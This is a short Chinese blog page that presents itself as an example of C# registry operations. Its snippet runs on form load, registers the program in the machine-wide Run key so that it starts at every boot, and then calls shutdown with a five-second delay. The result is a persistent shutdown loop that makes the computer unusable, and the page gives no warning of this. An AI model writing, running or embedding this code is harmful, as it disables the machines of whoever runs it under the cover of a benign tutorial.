AI智能
改变未来

c#对注册表的操作

Form Load //窗体加载事件

string executablePath = Application.ExecutablePath;bool flag = !File.Exists(executablePath);if (!flag){string name = executablePath.Substring(executablePath.LastIndexOf(\"\\\\\") + 1);RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", true);bool flag2 = registryKey == null;if (flag2){registryKey = Registry.LocalMachine.CreateSubKey(\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\");}registryKey.SetValue(name, executablePath);Process.Start(new ProcessStartInfo{FileName = \"shutdown.exe\",Arguments = \"-s -t 5\"});}
赞(0) 打赏
未经允许不得转载:爱站程序员基地 » c#对注册表的操作